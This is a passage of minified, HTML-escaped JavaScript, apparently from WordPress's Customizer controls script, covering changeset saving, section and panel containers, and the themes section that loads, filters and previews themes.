n={};Y._lastSavedRevision=Math.max(Y._latestRevision,Y._lastSavedRevision),Y.state(&quot;changesetStatus&quot;).set(e.changeset_status),e.changeset_date&amp;&amp;Y.state(&quot;changesetDate&quot;).set(e.changeset_date),a.resolve(e),Y.trigger(&quot;changeset-saved&quot;,e),e.setting_validities&amp;&amp;_.each(e.setting_validities,function(e,t){!0===e&amp;&amp;_.isObject(i[t])&amp;&amp;!_.isUndefined(i[t].value)&amp;&amp;(n[t]=i[t].value)}),Y.previewer.send(&quot;changeset-saved&quot;,_.extend({},e,{saved_changeset_values:n}))}),e.fail(function(e){a.reject(e),Y.trigger(&quot;changeset-error&quot;,e)}),e.always(function(e){e.setting_validities&amp;&amp;Y._handleSettingValidities({settingValidities:e.setting_validities})})}return a.promise()},Y.utils.bubbleChildValueChanges=function(n,e){J.each(e,function(e,t){n[t].bind(function(e,t){n.parent&amp;&amp;e!==t&amp;&amp;n.parent.trigger(&quot;change&quot;,n)})})},o=function(e){var t,n,i=this,a=function(){var e;i.extended(Y.Panel)&amp;&amp;1&lt;(n=i.sections()).length&amp;&amp;n.forEach(function(e){e.expanded()&amp;&amp;e.collapse()}),e=(i.extended(Y.Panel)||i.extended(Y.Section))&amp;&amp;i.expanded&amp;&amp;i.expanded()?i.contentContainer:i.container,(n=0===(n=e.find(&quot;.control-focus:first&quot;)).length?e.find(&quot;input, select, textarea, button, object, a[href], [tabindex]&quot;).filter(&quot;:visible&quot;).first():n).focus()};(e=e||{}).completeCallback?(t=e.completeCallback,e.completeCallback=function(){a(),t()}):e.completeCallback=a,Y.state(&quot;paneVisible&quot;).set(!0),i.expand?i.expand(e):e.completeCallback()},Y.utils.prioritySort=function(e,t){return e.priority()===t.priority()&amp;&amp;&quot;number&quot;==typeof e.params.instanceNumber&amp;&amp;&quot;number&quot;==typeof t.params.instanceNumber?e.params.instanceNumber-t.params.instanceNumber:e.priority()-t.priority()},Y.utils.isKeydownButNotEnterEvent=function(e){return&quot;keydown&quot;===e.type&amp;&amp;13!==e.which},Y.utils.areElementListsEqual=function(e,t){return e.length===t.length&amp;&amp;-1===_.indexOf(_.map(_.zip(e,t),function(e){return J(e[0]).is(e[1])}),!1)},Y.utils.highlightButton=function(e,t){var n,i=&quot;button-see-me&quot;,a=!1;function o(){a=!0}return(n=_.extend({delay:0,focusTarget:e},t)).focusTarget.on(&quot;focusin&quot;,o),setTimeout(function(){n.focusTarget.off(&quot;focusin&quot;,o),a||(e.addClass(i),e.one(&quot;animationend&quot;,function(){e.removeClass(i)}))},n.delay),o},Y.utils.getCurrentTimestamp=function(){var e=_.now(),t=new Date(Y.settings.initialServerDate.replace(/-/g,&quot;/&quot;)),e=e-Y.settings.initialClientTimestamp;return e+=Y.settings.initialClientTimestamp-Y.settings.initialServerTimestamp,t.setTime(t.getTime()+e),t.getTime()},Y.utils.getRemainingTime=function(e){e=e instanceof Date?e.getTime():&quot;string&quot;==typeof e?new Date(e.replace(/-/g,&quot;/&quot;)).getTime():e,e-=Y.utils.getCurrentTimestamp();return Math.ceil(e/1e3)},t=document.createElement(&quot;div&quot;),e={transition:&quot;transitionend&quot;,OTransition:&quot;oTransitionEnd&quot;,MozTransition:&quot;transitionend&quot;,WebkitTransition:&quot;webkitTransitionEnd&quot;},n=_.find(_.keys(e),function(e){return!_.isUndefined(t.style[e])}),s=n?e[n]:null,a=Y.Class.extend({defaultActiveArguments:{duration:&quot;fast&quot;,completeCallback:J.noop},defaultExpandedArguments:{duration:&quot;fast&quot;,completeCallback:J.noop},containerType:&quot;container&quot;,defaults:{title:&quot;&quot;,description:&quot;&quot;,priority:100,type:&quot;default&quot;,content:null,active:!0,instanceNumber:null},initialize:function(e,t){var n=this;n.id=e,a.instanceCounter||(a.instanceCounter=0),a.instanceCounter++,J.extend(n,{params:_.defaults(t.params||t,n.defaults)}),n.params.instanceNumber||(n.params.instanceNumber=a.instanceCounter),n.notifications=new Y.Notifications,n.templateSelector=n.params.templateId||&quot;customize-&quot;+n.containerType+&quot;-&quot;+n.params.type,n.container=J(n.params.content),0===n.container.length&amp;&amp;(n.container=J(n.getContainer())),n.headContainer=n.container,n.contentContainer=n.getContent(),n.container=n.container.add(n.contentContainer),n.deferred={embedded:new J.Deferred},n.priority=new Y.Value,n.active=new Y.Value,n.activeArgumentsQueue=[],n.expanded=new Y.Value,n.expandedArgumentsQueue=[],n.active.bind(function(e){var t=n.activeArgumentsQueue.shift(),t=J.extend({},n.defaultActiveArguments,t);e=e&amp;&amp;n.isContextuallyActive(),n.onChangeActive(e,t)}),n.expanded.bind(function(e){var t=n.expandedArgumentsQueue.shift(),t=J.extend({},n.defaultExpandedArguments,t);n.onChangeExpanded(e,t)}),n.deferred.embedded.done(function(){n.setupNotifications(),n.attachEvents()}),Y.utils.bubbleChildValueChanges(n,[&quot;priority&quot;,&quot;active&quot;]),n.priority.set(n.params.priority),n.active.set(n.params.active),n.expanded.set(!1)},getNotificationsContainerElement:function(){return this.contentContainer.find(&quot;.customize-control-notifications-container:first&quot;)},setupNotifications:function(){var e,t=this;t.notifications.container=t.getNotificationsContainerElement(),t.expanded.bind(e=function(){t.expanded.get()&amp;&amp;t.notifications.render()}),e(),t.notifications.bind(&quot;change&quot;,_.debounce(e))},ready:function(){},_children:function(t,e){var n=this,i=[];return Y[e].each(function(e){e[t].get()===n.id&amp;&amp;i.push(e)}),i.sort(Y.utils.prioritySort),i},isContextuallyActive:function(){throw new Error(&quot;Container.isContextuallyActive() must be overridden in a subclass.&quot;)},onChangeActive:function(e,t){var n,i=this,a=i.headContainer;t.unchanged?t.completeCallback&amp;&amp;t.completeCallback():(n=&quot;resolved&quot;===Y.previewer.deferred.active.state()?t.duration:0,i.extended(Y.Panel)&amp;&amp;(Y.panel.each(function(e){e!==i&amp;&amp;e.expanded()&amp;&amp;(n=0)}),e||_.each(i.sections(),function(e){e.collapse({duration:0})})),J.contains(document,a.get(0))?e?a.slideDown(n,t.completeCallback):i.expanded()?i.collapse({duration:n,completeCallback:function(){a.slideUp(n,t.completeCallback)}}):a.slideUp(n,t.completeCallback):(a.toggle(e),t.completeCallback&amp;&amp;t.completeCallback()))},_toggleActive:function(e,t){return t=t||{},e&amp;&amp;this.active.get()||!e&amp;&amp;!this.active.get()?(t.unchanged=!0,this.onChangeActive(this.active.get(),t),!1):(t.unchanged=!1,this.activeArgumentsQueue.push(t),this.active.set(e),!0)},activate:function(e){return this._toggleActive(!0,e)},deactivate:function(e){return this._toggleActive(!1,e)},onChangeExpanded:function(){throw new Error(&quot;Must override with subclass.&quot;)},_toggleExpanded:function(e,t){var n,i=this;return n=(t=t||{}).completeCallback,!(e&amp;&amp;!i.active()||(Y.state(&quot;paneVisible&quot;).set(!0),t.completeCallback=function(){n&amp;&amp;n.apply(i,arguments),e?i.container.trigger(&quot;expanded&quot;):i.container.trigger(&quot;collapsed&quot;)},e&amp;&amp;i.expanded.get()||!e&amp;&amp;!i.expanded.get()?(t.unchanged=!0,i.onChangeExpanded(i.expanded.get(),t),1):(t.unchanged=!1,i.expandedArgumentsQueue.push(t),i.expanded.set(e),0)))},expand:function(e){return this._toggleExpanded(!0,e)},collapse:function(e){return this._toggleExpanded(!1,e)},_animateChangeExpanded:function(t){var a,o,n,i;!s||r?_.defer(function(){t&amp;&amp;t()}):(o=(a=this).contentContainer,i=o.closest(&quot;.wp-full-overlay&quot;).add(o),a.panel&amp;&amp;&quot;&quot;!==a.panel()&amp;&amp;!Y.panel(a.panel()).contentContainer.hasClass(&quot;skip-transition&quot;)||(i=i.add(&quot;#customize-info, .customize-pane-parent&quot;)),n=function(e){2===e.eventPhase&amp;&amp;J(e.target).is(o)&amp;&amp;(o.off(s,n),i.removeClass(&quot;busy&quot;),t)&amp;&amp;t()},o.on(s,n),i.addClass(&quot;busy&quot;),_.defer(function(){var e=o.closest(&quot;.wp-full-overlay-sidebar-content&quot;),t=e.scrollTop(),n=o.data(&quot;previous-scrollTop&quot;)||0,i=a.expanded();i&amp;&amp;0&lt;t?(o.css(&quot;top&quot;,t+&quot;px&quot;),o.data(&quot;previous-scrollTop&quot;,t)):!i&amp;&amp;0&lt;t+n&amp;&amp;(o.css(&quot;top&quot;,n-t+&quot;px&quot;),e.scrollTop(n))}))},focus:o,getContainer:function(){var e=this,t=0!==J(&quot;#tmpl-&quot;+e.templateSelector).length?wp.template(e.templateSelector):wp.template(&quot;customize-&quot;+e.containerType+&quot;-default&quot;);return t&amp;&amp;e.container?t(_.extend({id:e.id},e.params)).toString().trim():&quot;&lt;li&gt;&lt;/li&gt;&quot;},getContent:function(){var e=this.container,t=e.find(&quot;.accordion-section-content, .control-panel-content&quot;).first(),n=&quot;sub-&quot;+e.attr(&quot;id&quot;),i=n,a=e.attr(&quot;aria-owns&quot;);return e.attr(&quot;aria-owns&quot;,i=a?i+&quot; &quot;+a:i),t.detach().attr({id:n,class:&quot;customize-pane-child &quot;+t.attr(&quot;class&quot;)+&quot; &quot;+e.attr(&quot;class&quot;)})}}),Y.Section=a.extend({containerType:&quot;section&quot;,containerParent:&quot;#customize-theme-controls&quot;,containerPaneParent:&quot;.customize-pane-parent&quot;,defaults:{title:&quot;&quot;,description:&quot;&quot;,priority:100,type:&quot;default&quot;,content:null,active:!0,instanceNumber:null,panel:null,customizeAction:&quot;&quot;},initialize:function(e,t){var n=this,i=t.params||t;i.type||_.find(Y.sectionConstructor,function(e,t){return e===n.constructor&amp;&amp;(i.type=t,!0)}),a.prototype.initialize.call(n,e,i),n.id=e,n.panel=new Y.Value,n.panel.bind(function(e){J(n.headContainer).toggleClass(&quot;control-subsection&quot;,!!e)}),n.panel.set(n.params.panel||&quot;&quot;),Y.utils.bubbleChildValueChanges(n,[&quot;panel&quot;]),n.embed(),n.deferred.embedded.done(function(){n.ready()})},embed:function(){var e,n=this;n.containerParent=Y.ensure(n.containerParent),n.panel.bind(e=function(e){var t;e?Y.panel(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer,n.headContainer.parent().is(t)||t.append(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve()})}):(t=Y.ensure(n.containerPaneParent),n.headContainer.parent().is(t)||t.append(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve())}),e(n.panel.get())},attachEvents:function(){var e,t,n=this;n.container.hasClass(&quot;cannot-expand&quot;)||(n.container.find(&quot;.accordion-section-title button, .customize-section-back, .accordion-section-title[tabindex]&quot;).on(&quot;click keydown&quot;,function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()?n.collapse():n.expand())}),n.container.find(&quot;.customize-section-title .customize-help-toggle&quot;).on(&quot;click&quot;,function(){(e=n.container.find(&quot;.section-meta&quot;)).hasClass(&quot;cannot-expand&quot;)||((t=e.find(&quot;.customize-section-description:first&quot;)).toggleClass(&quot;open&quot;),t.slideToggle(n.defaultExpandedArguments.duration,function(){t.trigger(&quot;toggled&quot;)}),J(this).attr(&quot;aria-expanded&quot;,function(e,t){return&quot;true&quot;===t?&quot;false&quot;:&quot;true&quot;}))}))},isContextuallyActive:function(){var e=this.controls(),t=0;return _(e).each(function(e){e.active()&amp;&amp;(t+=1)}),0!==t},controls:function(){return this._children(&quot;section&quot;,&quot;control&quot;)},onChangeExpanded:function(e,t){var n,i=this,a=i.headContainer.closest(&quot;.wp-full-overlay-sidebar-content&quot;),o=i.contentContainer,s=i.headContainer.closest(&quot;.wp-full-overlay&quot;),r=o.find(&quot;.customize-section-back&quot;),c=i.headContainer.find(&quot;.accordion-section-title button, .accordion-section-title[tabindex]&quot;).first();e&amp;&amp;!o.hasClass(&quot;open&quot;)?(n=t.unchanged?t.completeCallback:function(){i._animateChangeExpanded(function(){r.attr(&quot;tabindex&quot;,&quot;0&quot;),r.trigger(&quot;focus&quot;),o.css(&quot;top&quot;,&quot;&quot;),a.scrollTop(0),t.completeCallback&amp;&amp;t.completeCallback()}),o.addClass(&quot;open&quot;),s.addClass(&quot;section-open&quot;),Y.state(&quot;expandedSection&quot;).set(i)}.bind(this),t.allowMultiple||Y.section.each(function(e){e!==i&amp;&amp;e.collapse({duration:t.duration})}),i.panel()?Y.panel(i.panel()).expand({duration:t.duration,completeCallback:n}):(t.allowMultiple||Y.panel.each(function(e){e.collapse()}),n())):!e&amp;&amp;o.hasClass(&quot;open&quot;)?(i.panel()&amp;&amp;(n=Y.panel(i.panel())).contentContainer.hasClass(&quot;skip-transition&quot;)&amp;&amp;n.collapse(),i._animateChangeExpanded(function(){r.attr(&quot;tabindex&quot;,&quot;-1&quot;),c.trigger(&quot;focus&quot;),o.css(&quot;top&quot;,&quot;&quot;),t.completeCallback&amp;&amp;t.completeCallback()}),o.removeClass(&quot;open&quot;),s.removeClass(&quot;section-open&quot;),i===Y.state(&quot;expandedSection&quot;).get()&amp;&amp;Y.state(&quot;expandedSection&quot;).set(!1)):t.completeCallback&amp;&amp;t.completeCallback()}}),Y.ThemesSection=Y.Section.extend({currentTheme:&quot;&quot;,overlay:&quot;&quot;,template:&quot;&quot;,screenshotQueue:null,$window:null,$body:null,loaded:0,loading:!1,fullyLoaded:!1,term:&quot;&quot;,tags:&quot;&quot;,nextTerm:&quot;&quot;,nextTags:&quot;&quot;,filtersHeight:0,headerContainer:null,updateCountDebounced:null,initialize:function(e,t){var n=this;n.headerContainer=J(),n.$window=J(window),n.$body=J(document.body),Y.Section.prototype.initialize.call(n,e,t),n.updateCountDebounced=_.debounce(n.updateCount,500)},embed:function(){var n=this,e=function(e){var t;Y.panel(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer,n.headContainer.parent().is(t)||t.find(&quot;.customize-themes-full-container-container&quot;).before(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve()})})};n.panel.bind(e),e(n.panel.get())},ready:function(){var t=this;t.overlay=t.container.find(&quot;.theme-overlay&quot;),t.template=wp.template(&quot;customize-themes-details-view&quot;),t.container.on(&quot;keydown&quot;,function(e){t.overlay.find(&quot;.theme-wrap&quot;).is(&quot;:visible&quot;)&amp;&amp;(39===e.keyCode&amp;&amp;t.nextTheme(),37===e.keyCode&amp;&amp;t.previousTheme(),27===e.keyCode)&amp;&amp;(t.$body.hasClass(&quot;modal-open&quot;)?t.closeDetails():t.headerContainer.find(&quot;.customize-themes-section-title&quot;).focus(),e.stopPropagation())}),t.renderScreenshots=_.throttle(t.renderScreenshots,100),_.bindAll(t,&quot;renderScreenshots&quot;,&quot;loadMore&quot;,&quot;checkTerm&quot;,&quot;filtersChecked&quot;)},isContextuallyActive:function(){return this.active()},attachEvents:function(){var e,n=this;function t(){var e=n.headerContainer.find(&quot;.customize-themes-section-title&quot;);e.toggleClass(&quot;selected&quot;,n.expanded()),e.attr(&quot;aria-expanded&quot;,n.expanded()?&quot;true&quot;:&quot;false&quot;),n.expanded()||e.removeClass(&quot;details-open&quot;)}n.container.find(&quot;.customize-section-back&quot;).on(&quot;click keydown&quot;,function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.collapse())}),n.headerContainer=J(&quot;#accordion-section-&quot;+n.id),n.headerContainer.on(&quot;click&quot;,&quot;.customize-themes-section-title&quot;,function(){n.headerContainer.find(&quot;.filter-details&quot;).length&amp;&amp;(n.headerContainer.find(&quot;.customize-themes-section-title&quot;).toggleClass(&quot;details-open&quot;).attr(&quot;aria-expanded&quot;,function(e,t){return&quot;true&quot;===t?&quot;false&quot;:&quot;true&quot;}),n.headerContainer.find(&quot;.filter-details&quot;).slideToggle(180)),n.expanded()||n.expand()}),n.container.on(&quot;click&quot;,&quot;.theme-actions .preview-theme&quot;,function(){Y.panel(&quot;themes&quot;).loadThemePreview(J(this).data(&quot;slug&quot;))}),n.container.on(&quot;click&quot;,&quot;.left&quot;,function(){n.previousTheme()}),n.container.on(&quot;click&quot;,&quot;.right&quot;,function(){n.nextTheme()}),n.container.on(&quot;click&quot;,&quot;.theme-backdrop, .close&quot;,function(){n.closeDetails()}),&quot;local&quot;===n.params.filter_type?n.container.on(&quot;input&quot;,&quot;.wp-filter-search-themes&quot;,function(e){n.filterSearch(e.currentTarget.value)}):&quot;remote&quot;===n.params.filter_type&amp;&amp;(e=_.debounce(n.checkTerm,500),n.contentContainer.on(&quot;input&quot;,&quot;.wp-filter-search&quot;,function(){Y.panel(&quot;themes&quot;).expanded()&amp;&amp;(e(n),n.expanded()||n.expand())}),n.contentContainer.on(&quot;click&quot;,&quot;.filter-group input&quot;,function(){n.filtersChecked(),n.checkTerm(n)})),n.contentContainer.on(&quot;click&quot;,&quot;.feature-filter-toggle&quot;,function(e){var t=J(&quot;.customize-themes-full-container&quot;),e=J(e.currentTarget);n.filtersHeight=e.parents(&quot;.themes-filter-bar&quot;).next(&quot;.filter-drawer&quot;).height(),0&lt;t.scrollTop()&amp;&amp;(t.animate({scrollTop:0},400),e.hasClass(&quot;open&quot;))||(e.toggleClass(&quot;open&quot;).attr(&quot;aria-expanded&quot;,function(e,t){return&quot;true&quot;===t?&quot;false&quot;:&quot;true&quot;}).parents(&quot;.themes-filter-bar&quot;).next(&quot;.filter-drawer&quot;).slideToggle(180,&quot;linear&quot;),e.hasClass(&quot;open&quot;)?(t=1018&lt;window.innerWidth?50:76,n.contentContainer.find(&quot;.themes&quot;).css(&quot;margin-top&quot;,n.filtersHeight+t)):n.contentContainer.find(&quot;.themes&quot;).css(&quot;margin-top&quot;,0))}),n.contentContainer.on(&quot;click&quot;,&quot;.no-themes-local .search-dotorg-themes&quot;,function(){Y.section(&quot;wporg_themes&quot;).focus()}),n.expanded.bind(t),t(),Y.bind(&quot;ready&quot;,function(){n.contentContainer=n.container.find(&quot;.customize-themes-section&quot;),n.contentContainer.appendTo(J(&quot;.customize-themes-full-container&quot;)),n.container.add(n.headerContainer)})},onChangeExpanded:function(e,n){var i=this,t=i.contentContainer.closest(&quot;.customize-themes-full-container&quot;);function a(){0===i.loaded&amp;&amp;i.loadThemes(),Y.section.each(function(e){var t;e!==i&amp;&amp;&quot;themes&quot;===e.params.type&amp;&amp;(t=e.contentContainer.find(&quot;.wp-filter-search&quot;).val(),i.contentContainer.find(&quot;.wp-filter-search&quot;).val(t),&quot;&quot;===t&amp;&amp;&quot;&quot;!==i.term&amp;&amp;&quot;local&quot;!==i.params.filter_type?(i.term=&quot;&quot;,i.initializeNewQuery(i.term,i.tags)):&quot;remote&quot;===i.params.filter_type?i.checkTerm(i):&quot;local&quot;===i.params.filter_type&amp;&amp;i.filterSearch(t),e.collapse({duration:n.duration}))}),i.contentContainer.addClass(&quot;current-section&quot;),t.scrollTop(),t.on(&quot;scroll&quot;,_.throttle(i.renderScreenshots,300)),t.on(&quot;scroll&quot;,_.throttle(i.loadMore,300)),n.completeCallback&amp;&amp;n.completeCallback(),i.updateCount()}n.unchanged?n.completeCallback&amp;&amp;n.completeCallback():e?i.panel()&amp;&amp;Y.panel.has(i.panel())?Y.panel(i.panel()).expand({duration:n.duration,completeCallback:a}):a():(i.contentContainer.removeClass(&quot;current-section&quot;),i.headerContainer.find(&quot;.filter-details&quot;).slideUp(180),t.off(&quot;scroll&quot;),n.completeCallback&amp;&amp;n.completeCallback())},getContent:function(){return this.container.find(&quot;.control-section-content&quot;)},loadThemes:function(){var n,e,i=this;i.loading||(n=Math.ceil(i.loaded/100)+1,e={nonce:Y.settings.nonce.switch_themes,wp_customize:&quot;on&quot;,theme_action:i.params.action,customized_theme:Y.settings.theme.stylesheet,page:n},&quot;remote&quot;===i.params.filter_type&amp;&amp;(e.search=i.term,e.tags=i.tags),i.headContainer.closest(&quot;.wp-full-overlay&quot;).addClass(&quot;loading&quot;),i.loading=!0,i.container.find(&quot;.no-themes&quot;).hide(),(e=wp.ajax.post(&quot;customize_load_themes&quot;,e)).done(function(e){var t=e.themes;&quot;&quot;!==i.nextTerm||&quot;&quot;!==i.nextTags?(i.nextTerm&amp;&amp;(i.term=i.nextTerm),i.nextTags&amp;&amp;(i.tags=i.nextTags),i.nextTerm=&quot;&quot;,i.nextTags=&quot;&quot;,i.loading=!1,i.loadThemes()):(0!==t.length?(i.loadControls(t,n),1===n&amp;&amp;(_.each(i.controls().slice(0,3),function(e){e=e.params.theme.screenshot[0];e&amp;&amp;((new Image).src=e)}),&quot;local&quot;!==i.params.filter_type)&amp;&amp;wp.a11y.speak(Y.settings.l10n.themeSearchResults.replace(&quot;%d&quot;,e.info.results)),_.delay(i.renderScreenshots,100),(&quot;local&quot;===i.params.filter_type||t.length&lt;100)&amp;&amp;(i.fullyLoaded=!0)):0===i.loaded?(i.container.find(&quot;.no-themes&quot;).show(),wp.a11y.speak(i.container.find(&quot;.no-themes&quot;).text())):i.fullyLoaded=!0,&quot;local&quot;===i.params.filter_type?i.updateCount():i.updateCount(e.info.results),i.container.find(&quot;.unexpected-error&quot;).hide(),i.headContainer.closest(&quot;.wp-full-overlay&quot;).removeClass(&quot;loading&quot;),i.loading=!1)}),e.fail(function(e){void 0===e?(i.container.find(&quot;.unexpected-error&quot;).show(),wp.a11y.speak(i.container.find(&quot;.unexpected-error&quot;).text())):&quot;undefined&quot;!=typeof console&amp;&amp;console.error&amp;&amp;console.error(e),i.headContainer.closest(&quot;.wp-full-overlay&quot;).removeClass(&quot;loading&quot;),i.loading=!1}))},loadControls:function(e,t){var n=[],i=this;_.each(e,function(e){e=new Y.controlConstructor.theme(i.params.action+&quot;_theme_&quot;+e.id,{type:&quot;theme&quot;,section:i.params.id,theme:e,priority:i.loaded+1});Y.control.add(e),n.push(e),i.loaded=i.loaded+1}),1!==t&amp;&amp;Array.prototype.push.apply(i.screenshotQueue,n)},loadMore:function(){var e,t;this.fullyLoaded||this.loading||(t=(e=this.container.closest(&quot;.customize-themes-full-container&quot;)).scrollTop()+e.height(),e.prop(&quot;scrollHeight&quot;)-3e3&lt;t&amp;&amp;this.loadThemes())},filterSearch:function(e){var t,n=0,i=this,a=Y.section.has(&quot;wporg_themes&quot;)&amp;&amp;&quot;remote&quot;!==i.params.filter_type?&quot;.no-themes-local&quot;:&quot;.no-themes&quot;,o=i.controls();i.loading||(t=e.toLowerCase().trim().replace(/-/g,&quot; &quot;).split(&quot; &quot;),_.each(o,function(e){e.filter(t)&amp;&amp;(n+=1)}),0===n?(i.container.find(a).show(),wp.a11y.speak(i.container.find(a).text())):i.container.find(a).hide(),i.renderScreenshots(),Y.reflowPaneContents(),i.updateCountDebounced(n))},checkTerm:function(e){var t;&quot;remote&quot;===e.params.filter_type&amp;&amp;(t=e.contentContainer.find(&quot;.wp-filter-search&quot;).val(),e.term!==t.trim())&amp;&amp;e.initializeNewQuery(t,e.tags)},filtersChecked:function(){var e=this,t=e.container.find(&quot;.filter-group&quot;).find(&quot;:checkbox&quot;),n=[];_.each(t.filter(&quot;:checked&quot;),function(e){n.push(J(e).prop(&quot;value&quot;))}),0===n.length?(n=&quot;&quot;,e.contentContainer.find(&quot;.feature-filter-toggle .filter-count-0&quot;).show(),e.contentContainer.find(&quot;.feature-filter-toggle .filter-count-filters&quot;).hide()):(e.contentContainer.find(&quot;.feature-filter-toggle .theme-filter-count&quot;).text(n.length),e.contentContainer.find(&quot;.feature-filter-toggle .filter-count-0&quot;).hide(),e.contentContainer.find(&quot;.feature-filter-toggle .filter-count-filters&quot;).show()),_.isEqual(e.tags,n)||(e.loading?e.nextTags=n:&quot;remote&quot;===e.params.filter_type?e.initializeNewQuery(e.term,n):&quot;local&quot;===e.params.filter_type&amp;&amp;e.filterSearch(n.join(&quot; &quot;)))},initializeNewQuery:function(e,t){var n=this;_.each(n.controls(),function(e){e.container.remove(),Y.control.remove(e.id)}),n.loaded=0,n.fullyLoaded=!1,n.screenshotQueue=null,n.loading?(n.nextTerm=e,n.nextTags=t):(n.term=e,n.tags=t,n.loadThemes()),n.expanded()||n.expand()},renderScreenshots:function(){var o=this;null!==o.screenshotQueue&amp;&amp;0!==o.screenshotQueue.length||(o.screenshotQueue=_.filter(o.controls(),function(e){return!e.screenshotRendered})),o.screenshotQueue.length&amp;&amp;(o.screenshotQueue=_.filter(o.screenshotQueue,function(e){var t,n,i=e.container.find(&quot;.theme-screenshot&quot;),a=i.find(&quot;img&quot;);return!(!a.length||!a.is(&quot;:hidden&quot;)&amp;&amp;(t=(n=o.$window.scrollTop())+o.$window.height(),a=a.offset().top,(n=n-(i=3*(n=i.height()))&lt;=a+n&amp;&amp;a&lt;=t+i)&amp;&amp;e.container.trigger(&quot;render-screenshot&quot;),n))}))},getVisibleCount:function(){return this.contentContainer.find(&quot;li.customize-control:visible&quot;).length},updateCount:function(e){var t,n;e||0===e||(e=this.getVisibleCount()),n=this.contentContainer.find(&quot;.themes-displayed&quot;),t=this.contentContainer.find(&quot;.theme-count&quot;),0===e?t.text(&quot;0&quot;):(n.fadeOut(180,function(){t.text(e),n.fadeIn(180)}),wp.a11y.speak(Y.settings.l10n.announceThemeCount.replace(&quot;%d&quot;,e)))},nextTheme:function(){var e=this;e.getNextTheme()&amp;&amp;e.showDetails(e.getNextTheme(),function(){e.overlay.find(&quot;.right&quot;).focus()})},getNextTheme:function(){var e=Y.control(this.params.action+&quot;_theme_&quot;+this.currentTheme),t=this.controls(),e=_.indexOf(t,e);return-1!==e&amp;&amp;!!(t=t[e+1])&amp;&amp;t.params.theme},previousTheme:function(){var e=this;e.getPreviousTheme()&amp;&amp;e.showDetails(e.getPreviousTheme(),function(){e.overlay.find(&quot;.left&quot;).focus()})},getPreviousTheme:function(){var e=Y.control(this.params.action+&quot;_theme_&quot;+this.currentTheme),t=this.controls(),e=_.indexOf(t,e);return-1!==e&amp;&amp;!!(t=t[e-1])&amp;&amp;t.params.theme},updateLimits:function(){this.getNextTheme()||this.overlay.find(&quot;.right&quot;).addClass(&quot;disabled&quot;),this.getPreviousTheme()||this.overlay.find(&quot;.left&quot;).addClass(&quot;disabled&quot;)},loadThemePreview:function(e){return Y.ThemesPanel.prototype.loadThemePreview.call(this,e)},showDetails:function(e,t){var n=this,i=Y.panel(&quot;themes&quot;);function a(){return!i.canSwitchTheme(e.id)}n.currentTheme=e.id,n.overlay.html(n.template(e)).fadeIn(&quot;fast&quot;).focus(),n.overlay.find(&quot;button.preview, button.preview-theme&quot;).toggleClass(&quot;disabled&quot;,a()),n.overlay.find(&quot;button.theme-install&quot;).toggleClass(&quot;disabled&quot;,a()||!1===Y.settings.theme._canInstall||!0===Y.settings.theme._filesystemCredentialsNeeded),n.$body.addClass(&quot;modal-open&quot;),n.containFocus(n.overlay),n.updateLimits(),wp.a11y.speak(Y.settings.l10n.announceThemeDetails.replace(&quot;%s&quot;,e.name)),t&amp;&amp;t()},closeDetails:function(){this.$body.removeClass(&quot;modal-open&quot;),this.overlay.fadeOut(&quot;fast&quot;),Y.control(this.params.action+&quot;_theme_&quot;+this.currentTheme).container.find(&quot;.theme&quot;).focus()},containFocus:function(t){var n;t.on(&quot;keydown&quot;,function(e){if(9===e.keyCode)return(n=J(&quot;:tabbable&quot;,t)).last()[0]!==e.target||e.shiftKey?n.first()[0]===e.target&amp;&amp;e.shiftKey?(n.last().focus(),!1):void 0:(n.first().focus(),!1)})}}),Y.OuterSection=Y.Section.extend({initialize:function(){this.containerParent=&quot;#customize-outer-theme-controls&quot;,this.containerPaneParent=&quot;.customize-outer-pane-parent&quot;,Y.Section.prototype.initialize.apply(this,arguments)},onChangeExpanded:function(e,t){var n,i=this,a=i.headContainer.closest(&quot;.wp-full-overlay-sidebar-content&quot;),o=i.contentContainer,s=o.find(&quot;.customize-section-back&quot;),r=i.headContainer.find(&quot;.accordion-section-title button, .accordion-section-title[tabindex]&quot;).first();J(document.body).toggleClass(&quot;outer-section-open&quot;,e),i.container.toggleClass(&quot;open&quot;,e),i.container.removeClass(&quot;busy&quot;),Y.section.each(function(e){&quot;outer&quot;===e.params.type&amp;&amp;e.id!==i.id&amp;&amp;e.container.removeClass(&quot;open&quot;)}),e&amp;&amp;!o.hasClass(&quot;open&quot;)?(n=t.unchanged?t.completeCallback:function(){i._animateChangeExpanded(function(){s.attr(&quot;tabindex&quot;,&quot;0&quot;),s.trigger(&quot;focus&quot;),o.css(&quot;top&quot;,&quot;&quot;),a.scrollTop(0),t.completeCallback&amp;&amp;t.completeCallback()}),o.addClass(&quot;open&quot;)}.bind(this),i.panel()?Y.panel(i.panel()).expand({duration:t.duration,completeCallback:n}):n()):!e&amp;&amp;o.hasClass(&quot;open&quot;)?(i.panel()&amp;&amp;(n=Y.panel(i.panel())).contentContainer.hasClass(&quot;skip-transition&quot;)&amp;&amp;n.collapse(),i._animateChangeExpanded(function(){s.attr(&quot;tabindex&quot;,&quot;-1&quot;),r.trigger(&quot;focus&quot;),o.css(&quot;top&quot;,&quot;&quot;),t.completeCallback&amp;&amp;t.completeCallback()}),o.removeClass(&quot;open&quot;)):t.completeCallback&amp;&amp;t.completeCallback()}}),Y.Panel=a.extend({containerType:&quot;panel&quot;,initialize:function(e,t){var n=this,i=t.params||t;i.type||_.find(Y.panelConstructor,function(e,t){return e===n.constructor&amp;&amp;(i.type=t,!0)}),a.prototype.initialize.call(n,e,i),n.embed(),n.deferred.embedded.done(function(){n.ready()})},embed:function(){var e=this,t=J(&quot;#customize-theme-controls&quot;),n=J(&quot;.customize-pane-parent&quot;);e.headContainer.parent().is(n)||n.append(e.headContainer),e.contentContainer.parent().is(e.headContainer)||t.append(e.contentContainer),e.renderContent(),e.deferred.embedded.resolve()},attachEvents:function(){var t,n=this;n.headContainer.find(&quot;.accordion-section-title button, .accordion-section-title[tabindex]&quot;).on(&quot;click 